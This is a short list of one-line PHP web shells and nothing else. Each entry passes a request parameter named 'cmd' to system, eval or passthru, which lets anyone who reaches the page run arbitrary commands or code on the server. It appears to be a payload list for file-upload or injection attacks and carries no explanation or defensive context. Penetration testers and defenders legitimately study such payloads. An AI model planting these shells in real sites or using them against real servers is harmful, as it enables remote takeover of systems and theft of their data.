<?system($_GET[cmd])?> <?eval($_GET[cmd])?> <?passthru($_GET[cmd])?> <?eval($_REQUEST[cmd])?> <?passthru($_REQUEST[cmd])?> <?system($_REQUEST[cmd])?>